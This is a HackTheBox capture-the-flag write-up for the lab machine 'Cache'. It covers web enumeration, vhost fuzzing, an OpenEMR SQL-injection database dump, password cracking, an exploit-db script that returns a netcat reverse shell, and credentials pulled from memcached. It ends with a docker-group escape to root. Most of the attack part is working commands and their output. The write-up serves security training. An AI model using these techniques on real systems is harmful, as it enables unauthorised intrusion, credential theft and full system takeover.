Hackthebox writeup - Cache
Getting information
Since this is a htb challenge we know the IP of the target, and our first goal is to learn as much as possible about the target.
- -vv: Verbosity is increased 2x to allow us to see what Nmap is doing during the scan.
- --reason: Adds a column to our map results for why Nmap classified it that port.
- -Pn: Tells Nmap to skip the ping test and just scan our provided target since we know it's up (10.10.10.188).
- -A: More aggressive scan including OS detection, Version detection, traceroute, script scanning.
- --osscan-guess: Asks NMAP to guess the OS version if no perfect match found.
- --version-all: Tries all version probs for every port.
- -p-: Scan ports 1 - 65535.
PS: db_nmap can take alle the normal nmap options and parameters.
msf5 > db_nmap -vv --reason -Pn -A --osscan-guess --version-all -p- 10.10.10.188
... a lot of waiting and output here ...
msf5 > services 10.10.10.188
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
10.10.10.188 22 tcp ssh open OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 Ubuntu Linux; protocol 2.0
10.10.10.188 80 tcp http open Apache httpd 2.4.29 (Ubuntu)
The usual suspects, http (80) and ssh (22) is open.
Searching for hidden URLs
I start out by following the webserver route:
cache@kali:~$ nikto -Cgidirs all -host 10.10.10.188
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.188
+ Target Hostname: 10.10.10.188
+ Target Port: 80
+ Start Time: 2020-05-28 23:15:57 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Server may leak inodes via ETags, header found with file /, inode: 2001, size: 5a4f70909088c, mtime: gzip
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.html: Admin login page/section found.
+ 26477 requests: 6 error(s) and 8 item(s) reported on remote host
+ End Time: 2020-05-29 06:09:18 (GMT2) (24801 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
And dirbusting:
cache@kali:~$ dirb http://10.10.10.188 /usr/share/dirb/wordlists/big.txt -X .txt,.php,,
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Tue Jun 2 06:52:57 2020
URL_BASE: http://10.10.10.188/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
EXTENSIONS_LIST: (.txt,.php,,) | (.txt)(.php)() [NUM = 3]
-----------------
GENERATED WORDS: 20458
---- Scanning URL: http://10.10.10.188/ ----
==> DIRECTORY: http://10.10.10.188/javascript/
==> DIRECTORY: http://10.10.10.188/jquery/
+ http://10.10.10.188/server-status (CODE:403|SIZE:277)
---- Entering directory: http://10.10.10.188/javascript/ ----
==> DIRECTORY: http://10.10.10.188/javascript/jquery/
---- Entering directory: http://10.10.10.188/jquery/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.188/javascript/jquery/ ----
+ http://10.10.10.188/javascript/jquery/jquery (CODE:200|SIZE:268026)
-----------------
END_TIME: Tue Jun 2 09:17:44 2020
DOWNLOADED: 184122 - FOUND: 2
Nothing of interest so far, but lets see what that webserver on port 80 serves.
Remember that dirb also gave us something interesting?
---- Entering directory: http://10.10.10.188/jquery/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
Voila, a set of credentials ash and H@v3_fun. Write it down in your cache_loot.txt file and head back to the loginpage.
Congratulations, that was the end of the first rabbit hole :)
Multiple virtualhosts
A common technique to serve multiple websites from the same server (ip-address) is to use what is called virtualhosts. With virtualhosts (vhosts) you can serve both www.site_a.ext and www.site_b.ext from the same server and your webbrowser is telling the server which of the site it wants. The webbrowser is doing this via the Host parameter in the request header.
If you suspect there is anything like multiple vhosts going on you can try to fuzz the Host request header:
cache@kali:/mnt/hgfs/kali_share/cache$ wfuzz -c -v -w testlist.txt -H "Host: FUZZ" http://10.10.10.188
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.188/
Total requests: 6
==================================================================================================================================================
ID C.Time Response Lines Word Chars Server Redirect Payload
==================================================================================================================================================
000000001: 0.059s 200 338 L 973 W 8193 Ch Apache/2.4.29 (Ubuntu) "example"
000000002: 0.064s 200 338 L 973 W 8193 Ch Apache/2.4.29 (Ubuntu) "example.htb"
000000003: 0.064s 200 338 L 973 W 8193 Ch Apache/2.4.29 (Ubuntu) "cache"
000000004: 0.063s 200 338 L 973 W 8193 Ch Apache/2.4.29 (Ubuntu) "cache.htb"
000000006: 0.062s 302 0 L 0 W 0 Ch Apache/2.4.29 (Ubuntu) interface/login/login.php?site "hms.htb"
=default
000000005: 0.065s 200 338 L 973 W 8193 Ch Apache/2.4.29 (Ubuntu) "hms"
Total time: 0.070937
Processed Requests: 6
Filtered Requests: 0
Requests/sec.: 84.58133
cache@kali:/mnt/hgfs/kali_share/cache$
As you can see there is something going on if the Host parameter is hms.htb. It seems like there is a new website there.
We can do a exercise in curl to verify:
cache@kali:/mnt/hgfs/kali_share/cache$ curl -v -H 'Host: hms.htb' http://10.10.10.188
* Trying 10.10.10.188:80...
* TCP_NODELAY set
* Connected to 10.10.10.188 (10.10.10.188) port 80 (#0)
> GET / HTTP/1.1
> Host: hms.htb
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
< Date: Fri, 17 Jul 2020 14:58:58 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Location: interface/login/login.php?site=default
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 10.10.10.188 left intact
Ok, there is something interesting, but we need HTTP2:
cache@kali:/mnt/hgfs/kali_share/cache$ curl --http2 -v -H 'Host: hms.htb' http://10.10.10.188
* Trying 10.10.10.188:80...
* TCP_NODELAY set
* Connected to 10.10.10.188 (10.10.10.188) port 80 (#0)
> GET / HTTP/1.1
> Host: hms.htb
> User-Agent: curl/7.68.0
> Accept: */*
> Connection: Upgrade, HTTP2-Settings
> Upgrade: h2c
> HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
< Date: Fri, 17 Jul 2020 14:59:29 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Location: interface/login/login.php?site=default
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 10.10.10.188 left intact
Ok, closer, but there is still a redirect (the 302-statuscode) we need to conquer:
cache@kali:/mnt/hgfs/kali_share/cache$ curl --http2 -v -L -H 'Host: hms.htb' http://10.10.10.188
* Trying 10.10.10.188:80...
* TCP_NODELAY set
* Connected to 10.10.10.188 (10.10.10.188) port 80 (#0)
> GET / HTTP/1.1
> Host: hms.htb
> User-Agent: curl/7.68.0
> Accept: */*
> Connection: Upgrade, HTTP2-Settings
> Upgrade: h2c
> HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
< Date: Fri, 17 Jul 2020 15:00:14 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Location: interface/login/login.php?site=default
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 10.10.10.188 left intact
* Issue another request to this URL: 'http://10.10.10.188/interface/login/login.php?site=default'
* Found bundle for host 10.10.10.188: 0x5562e4919330 [serially]
* Can not multiplex, even if we wanted to!
* Re-using existing connection! (#0) with host 10.10.10.188
* Connected to 10.10.10.188 (10.10.10.188) port 80 (#0)
> GET /interface/login/login.php?site=default HTTP/1.1
> Host: hms.htb
> User-Agent: curl/7.68.0
> Accept: */*
> Connection: Upgrade, HTTP2-Settings
> Upgrade: h2c
> HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Fri, 17 Jul 2020 15:00:14 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Set-Cookie: OpenEMR=2vaoa7l4a3bou8mai8qm8lh45v; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Vary: Accept-Encoding
< Content-Length: 6061
< Content-Type: text/html; charset=utf-8
<
<html>
<head>
<title>OpenEMR Login</title>
... cut ...
<center>Copyright © 2018 OpenEmr </center>
</body>
</html>
Voila! 200 ok! We found something called OpenEmr.
Now we need to alter our /etc/hosts file so that we can browse the hms.htb site from our browser.
root@kali:~# cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali.localdomain kali
10.10.10.188 hms.htb
10.10.10.188 cache.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
With these 2 small addition to our /etc/hosts file we can load the webpages by name, instead of ip-address:
Looking for OpenEmr specific exploits
cache@kali:/mnt/hgfs/kali_share/cache$ searchsploit openemr
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenEMR - 'site' Cross-Site Scripting | php/webapps/38328.txt
OpenEMR - Arbitrary '.PHP' File Upload (Metasploit) | php/remote/24529.rb
OpenEMR 2.8.1 - 'fileroot' Remote File Inclusion | php/webapps/1886.txt
OpenEMR 2.8.1 - 'srcdir' Multiple Remote File Inclusions | php/webapps/2727.txt
OpenEMR 2.8.2 - 'Import_XML.php' Remote File Inclusion | php/webapps/29556.txt
OpenEMR 2.8.2 - 'Login_Frame.php' Cross-Site Scripting | php/webapps/29557.txt
OpenEMR 3.2.0 - SQL Injection / Cross-Site Scripting | php/webapps/15836.txt
OpenEMR 4 - Multiple Vulnerabilities | php/webapps/18274.txt
OpenEMR 4.0 - Multiple Cross-Site Scripting Vulnerabilities | php/webapps/36034.txt
OpenEMR 4.0.0 - Multiple Vulnerabilities | php/webapps/17118.txt
OpenEMR 4.1 - '/contrib/acog/print_form.php?formname' Traversal Local File Inclusion | php/webapps/36650.txt
OpenEMR 4.1 - '/Interface/fax/fax_dispatch.php?File' 'exec()' Call Arbitrary Shell Command Execution | php/webapps/36651.txt
OpenEMR 4.1 - '/Interface/patient_file/encounter/load_form.php?formname' Traversal Local File Inclusion | php/webapps/36649.txt
OpenEMR 4.1 - '/Interface/patient_file/encounter/trend_form.php?formname' Traversal Local File Inclusion | php/webapps/36648.txt
OpenEMR 4.1 - 'note' HTML Injection | php/webapps/38654.txt
OpenEMR 4.1.1 - 'ofc_upload_image.php' Arbitrary File Upload | php/webapps/24492.php
OpenEMR 4.1.1 Patch 14 - Multiple Vulnerabilities | php/webapps/28329.txt
OpenEMR 4.1.1 Patch 14 - SQL Injection / Privilege Escalation / Remote Code Execution (Metasploit) | php/remote/28408.rb
OpenEMR 4.1.2(7) - Multiple SQL Injections | php/webapps/35518.txt
OpenEMR 5.0.0 - OS Command Injection / Cross-Site Scripting | php/webapps/43232.txt
OpenEMR 5.0.1.3 - (Authenticated) Arbitrary File Actions | linux/webapps/45202.txt
OpenEMR < 5.0.1 - (Authenticated) Remote Code Execution | php/webapps/45161.py
OpenEMR Electronic Medical Record Software 3.2 - Multiple Vulnerabilities | php/webapps/14011.txt
Openemr-4.1.0 - SQL Injection | php/webapps/17998.txt
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
cache@kali:/mnt/hgfs/kali_share/cache$
Also check if metasploit has anything for us:
cache@kali:/mnt/hgfs/kali_share/cache$ sudo msfdb init && msfconsole
msf5 > search openemr
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/sqli/openemr/openemr_sqli_dump 2019-05-17 normal Yes OpenEMR 5.0.1 Patch 6 SQLi Dump
1 exploit/unix/webapp/openemr_sqli_privesc_upload 2013-09-16 excellent Yes OpenEMR 4.1.1 Patch 14 SQLi Privilege Escalation Remote Code Execution
2 exploit/unix/webapp/openemr_upload_exec 2013-02-13 excellent Yes OpenEMR PHP File Upload Vulnerability
msf5 > use auxiliary/sqli/openemr/openemr_sqli_dump
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > options
Module options (auxiliary/sqli/openemr/openemr_sqli_dump):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.188 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the OpenEMR installation
VHOST hms.htb no HTTP server virtual host
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > run
[*] Running module against 10.10.10.188
... cut ...
[*] DB Version: 5.7.30-0ubuntu0.18.04.1
[*] Enumerating tables, this may take a moment...
[*] Identified 295 tables.
[*] Dumping table (1/295): CHARACTER_SETS
[*] Dumping table (291/295): users_secure
[*] Dumping table (295/295): x12_partners
[*] Dumped all tables to /home/cache/.msf4/loot
[*] Auxiliary module execution completed
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > exit
Its time to inspect the result of the databasedump, and we are interested in the table users_secure:
cache@kali:~$ cd ~/.msf4/loot
cache@kali:~/.msf4/loot$ ls
cache@kali:~/.msf4/loot$ cat 20200720020238_default_10.10.10.188_openemr.users_se_332680.csv
id,username,password,salt,last_update,password_history1,salt_history1,password_history2,salt_history2
1,openemr_admin,$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.,$2a$05$l2sTLIG6GTBeyBf7TAKL6A$,2019-11-21 06:38:40,"","","",""
Copy the passwordhash to a file that you can crack with john-the-ripper, and crack it:
cache@kali:/mnt/hgfs/kali_share/cache$ echo '$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.' > pass_openmri.txt
cache@kali:/mnt/hgfs/kali_share/cache$ sudo john pass_openmri.txt --show
[sudo] passord for cache:
?:xxxxxx
1 password hash cracked, 0 left
cache@kali:/mnt/hgfs/kali_share/cache$
Verify that your new credentials work:
Prepare your python environment
This is a sidetrack, but something I needed to do in my Kalibox to be able to execute the exploits i wanted.
cache@kali:/mnt/hgfs/kali_share/cache$ apt-get install pipenv
cache@kali:/mnt/hgfs/kali_share/cache$ pipenv --two install requests
Creating a virtualenv for this project…
Using /usr/bin/python2 (2.7.18) to create virtualenv…
⠋created virtual environment CPython2.7.18.final.0-64 in 680ms
creator CPython2Posix(dest=/home/cache/.local/share/virtualenvs/cache--2tKn5kt, clear=False, global=False)
seeder FromAppData(download=False, distlib=latest, pep517=latest, appdirs=latest, certifi=latest, webencodings=latest, six=latest, html5lib=latest, urllib3=latest, colorama=latest, requests=latest, pip=latest, retrying=latest, msgpack=latest, packaging=latest, chardet=latest, CacheControl=latest, progress=latest, pkg_resources=latest, ipaddr=latest, lockfile=latest, pyparsing=latest, pytoml=latest, setuptools=latest, wheel=latest, distro=latest, idna=latest, contextlib2=latest, via=copy, app_data_dir=/home/cache/.local/share/virtualenv/seed-app-data/v1.0.1.debian)
activators BashActivator,CShellActivator,FishActivator,PowerShellActivator,PythonActivator
Virtualenv location: /home/cache/.local/share/virtualenvs/cache--2tKn5kt
Creating a Pipfile for this project…
Installing requests…
Looking in indexes: https://pypi.python.org/simple
Requirement already satisfied: requests in /home/cache/.local/share/virtualenvs/cache--2tKn5kt/lib/python2.7/site-packages (2.23.0)
Adding requests to Pipfile's [packages]…
Pipfile.lock not found, creating…
Locking [dev-packages] dependencies…
Locking [packages] dependencies…
Updated Pipfile.lock (8e3b08)!
Installing dependencies from Pipfile.lock (8e3b08)…
🐍 ▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉ 5/5 — 00:00:02
To activate this project's virtualenv, run the following:
$ pipenv shell
cache@kali:/mnt/hgfs/kali_share/cache$ pipenv shell
Spawning environment shell (/bin/bash). Use 'exit' to leave.
cache@kali:/mnt/hgfs/kali_share/cache$ . /home/cache/.local/share/virtualenvs/cache--2tKn5kt/bin/activate
(cache--2tKn5kt) cache@kali:/mnt/hgfs/kali_share/cache$ ls
45161.py 48515.py cache_loot.txt pass_openmri.txt Pipfile Pipfile.lock testlist.txt
(cache--2tKn5kt) cache@kali:/mnt/hgfs/kali_share/cache$ python --version
Python 2.7.18
(cache--2tKn5kt) cache@kali:/mnt/hgfs/kali_share/cache$
Exploit
I choose https://www.exploit-db.com/exploits/48515 as my first attempt. Put the exploit code into a file and edit the relevant section.
Start a netcat listener on your machine:
cache@kali:~$ nc -lvnp 8080
Exploit:
(cache--2tKn5kt) cache@kali:/mnt/hgfs/kali_share/cache$ vi 48515.py
(cache--2tKn5kt) cache@kali:/mnt/hgfs/kali_share/cache$ python 48515.py
[+] Authentication with credentials provided please be patient
[+] Uploading a payload it will take a minute
[+] You should be getting a shell
Check your listener:
cache@kali:~$ nc -lvnp 8080
listening on [any] 8080 ...
connect to [10.10.14.22] from (UNKNOWN) [10.10.10.188] 51318
Linux cache 4.15.0-109-generic #110-Ubuntu SMP Tue Jun 23 02:39:32 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
07:35:53 up 23:48, 0 users, load average: 0.02, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Ok! We are in as www-data user. Now its time to enumerate...
Upgrade your shell
Before we start enumerating as www-data user, lets try to get a more useful shell. I.e: we have a password we want to use with the su command, but are not allowed due to our nc reverse-shell does not support it. Lets fix that!
$ su ash
su: must be run from a terminal
$ cd /usr/bin
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@cache:/usr/bin$ su ash
su ash
Password: H@v3_fun
ash@cache:/usr/bin$ cd ~
cd ~
ash@cache:~$ cat user.txt
cat user.txt
9eeedba73b52a7ceb7ddb5098e880787
ash@cache:~$
Ok! That escalated quickly. Congrats, user is owned. Now on for root!
Before I left I wanted to add my ssh-key into the authorized_keys file for ash to get a real proper shell, but it seems that this is not viable at this moment.
ash@cache:~$ cd /etc/ssh
ash@cache:/etc/ssh$ cat sshd_config
cat sshd_config
# $OpenBSD: sshd_config,v 1.101 2017/03/14 07:19:07 djm Exp $
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.
... cut ..
AllowUsers luffy
DenyUsers ash
ash@cache:/etc/ssh$
So the path seems clear, find a way to login as user luffy.
Enumeration as www-data user using your (upgraded) nc reverse-shell
You should probably have a cheat-sheet for this kind of enumeration tasks, and listing enabled apache websites should probably be on that list.
ash@cache:/etc/apache2/sites-enabled$ ls -la /etc/apache2/sites-enabled
ls -la /etc/apache2/sites-enabled
total 8
drwxr-xr-x 2 root root 4096 Nov 22 2019 .
drwxr-xr-x 8 root root 4096 Mar 20 06:59 ..
lrwxrwxrwx 1 root root 33 Sep 18 2019 cache.htb.conf -> ../sites-available/cache.htb.conf
lrwxrwxrwx 1 root root 37 Sep 18 2019 cybernews.htb.conf -> ../sites-available/cybernews.htb.conf
lrwxrwxrwx 1 root root 31 Nov 22 2019 hms.htb.conf -> ../sites-available/hms.htb.conf
It seems like a third site is present cybernews.htb at this webserver. Add it to the /etc/hosts file and browse to it to see if it is of interest. Another rabbit-hole checked and removed from the list :)
Enumerate ports
We scanned the target from the outside earlier, but some port might been blocked from the outside. Let try to see whats available from the inside.
- l: prints only listening sockets
- n: shows port number
- t: enables listing of tcp ports
- u: enables listing of udp ports
PS: Try man netstat for more information about the options.
ash@cache:/usr/bin$ netstat -lntu
netstat -lntu
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:11211 0.0.0.0:* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 :::80 :::* LISTEN
udp 0 0 127.0.0.53:53 0.0.0.0:*
ash@cache:/usr/bin$
We see the port 22 and 80 which we already knew about, but also some ports that is only available from the inside. Port 3306 is the standard mysqld port, so it might kome in handy. 53 is DNS. So then we are left with one unknown: 11211.
List of portnumbers: https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers
Lets do a naive search for the portnumber and see if we can find something of interest:
ash@cache:/usr/bin$ grep -ir 11211 /etc/ /home/ /var/ 2>/dev/null
grep -ir 11211 /etc/ /home/ /var/ 2>/dev/null
/etc/memcached.conf:# Default connection port is 11211
/etc/memcached.conf:-p 11211
Binary file /var/cache/apt/srcpkgcache.bin matches
Binary file /var/cache/apt/pkgcache.bin matches
... cut ...
/var/www/hms.htb/public_html/sql/ippf_upgrade.sql:UPDATE codes SET related_code = 'IPPF:111112110;IPPF2:1122120000000' WHERE code_type = 32 AND code = '4380';
ash@cache:/usr/bin$
Success! A service called memcached is our next lead. Considering that the name of the box is Cache I think this is the correct path.
cache@kali:/mnt/hgfs/kali_share/cache$ searchsploit memcache
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
memcache-viewer - Cross-Site Scripting | php/webapps/41455.txt
memcached 1.4.2 - Memory Consumption Remote Denial of Service | linux/dos/33850.txt
Memcached 1.4.33 - 'Add' (PoC) | linux/dos/40696.py
Memcached 1.4.33 - 'Crash' (PoC) | linux/dos/40695.py
Memcached 1.4.33 - 'sasl' (PoC) | linux/dos/40697.py
Memcached 1.5.5 - 'Memcrashed ' Insufficient Control of Network Message Volume Denial of Service With Shodan API | linux/dos/44265.py
Memcached 1.5.5 - 'Memcrashed' Insufficient Control Network Message Volume Denial of Service (1) | linux/dos/44264.c
Memcached 1.5.5 - 'Memcrashed' Insufficient Control Network Message Volume Denial of Service (2) | linux/dos/44254.py
vBulletin < 4.2.2 - Memcache Remote Code Execution | php/webapps/37815.txt
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
cache@kali:/mnt/hgfs/kali_share/cache$
Lets try to connect to memcached for fun:
ash@cache:/etc$ ps -eaf | grep memcached
ps -eaf | grep memcached
memcache 1081 1 0 07:58 ? 00:00:00 /usr/bin/memcached -m 64 -p 11211 -u memcache -l 127.0.0.1 -P /var/run/memcached/memcached.pid
ash 5480 3412 0 08:48 pts/0 00:00:00 grep --color=auto memcached
ash@cache:/etc$ telnet localhost 11211
telnet localhost 11211
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
stats
stats
STAT pid 1081
STAT uptime 3041
STAT time 1595407744
STAT version 1.5.6 Ubuntu
STAT libevent 2.1.8-stable
... cut ...
STAT lru_bumps_dropped 0
END
quit
quit
Connection closed by foreign host.
ash@cache:/etc$
We got the version number, that might come in handy when searching for an exploit. Lets try to poke more around in memcached:
ash@cache:/etc$ telnet localhost 11211
telnet localhost 11211
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
stats slabs
stats slabs
STAT 1:chunk_size 96
STAT 1:chunks_per_page 10922
STAT 1:total_pages 1
STAT 1:total_chunks 10922
STAT 1:used_chunks 5
STAT 1:free_chunks 10917
STAT 1:free_chunks_end 0
STAT 1:mem_requested 371
STAT 1:get_hits 0
STAT 1:cmd_set 325
STAT 1:delete_hits 0
STAT 1:incr_hits 0
STAT 1:decr_hits 0
STAT 1:cas_hits 0
STAT 1:cas_badval 0
STAT 1:touch_hits 0
STAT active_slabs 1
STAT total_malloced 1048576
END
stats cachedump 1 0
stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END
get user
get user
VALUE user 0 5
luffy
END
get passwd
get passwd
VALUE passwd 0 9
0n3_p1ec3
END
quit
Connection closed by foreign host.
ash@cache:/etc$
Whoa! user luffy and the password. Lets verify:
ash@cache:/etc$ su luffy
su luffy
Password: 0n3_p1ec3
luffy@cache:/usr/bin$
It worked. Lets drop this reverse-shell and login with ssh:
(cache--2tKn5kt) cache@kali:/mnt/hgfs/kali_share/cache$ ssh luffy@10.10.10.188
luffy@10.10.10.188's password:
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-109-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Jul 22 09:27:21 UTC 2020
System load: 0.0 Processes: 177
Usage of /: 74.6% of 8.06GB Users logged in: 0
Memory usage: 14% IP address for ens160: 10.10.10.188
Swap usage: 0% IP address for docker0: 172.17.0.1
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
110 packages can be updated.
0 updates are security updates.
Last login: Wed May 6 08:54:44 2020 from 10.10.14.3
luffy@cache:~$
The quest for root
Now we can start looking for the root user. I start with transferring some of my favorite tools to the box.
cache@kali:/mnt/hgfs/kali_share/tools$ scp linpeas.sh suid3num.py pspy64 luffy@10.10.10.188:/tmp
luffy@10.10.10.188's password:
linpeas.sh 100% 223KB 769.0KB/s 00:00
suid3num.py
pspy64
cache@kali:/mnt/hgfs/kali_share/tools$
Also check what user luffy is all about:
luffy@cache:~$ sudo -l
[sudo] password for luffy:
Sorry, user luffy may not run sudo on cache.
luffy@cache:~$ id
uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker)
luffy@cache:~$
Ah... luffy is part of the user docker.
luffy@cache:~$ docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu latest 2ca708c1c9cc 10 months ago 64.2MB
luffy@cache:/tmp$ docker run -i -v /root:/mnt -t ubuntu:latest /bin/bash
root@f20bf7745d16:/# cd /mnt
root@f20bf7745d16:/mnt# ls
apache_heal.sh root.txt
root@f20bf7745d16:/mnt# cat root.txt
70d743a982f0ae55852dd75f6eac10fa
root@f20bf7745d16:/mnt#
Congratulations!
You have now got both the user AND the root flag for the htb Cache.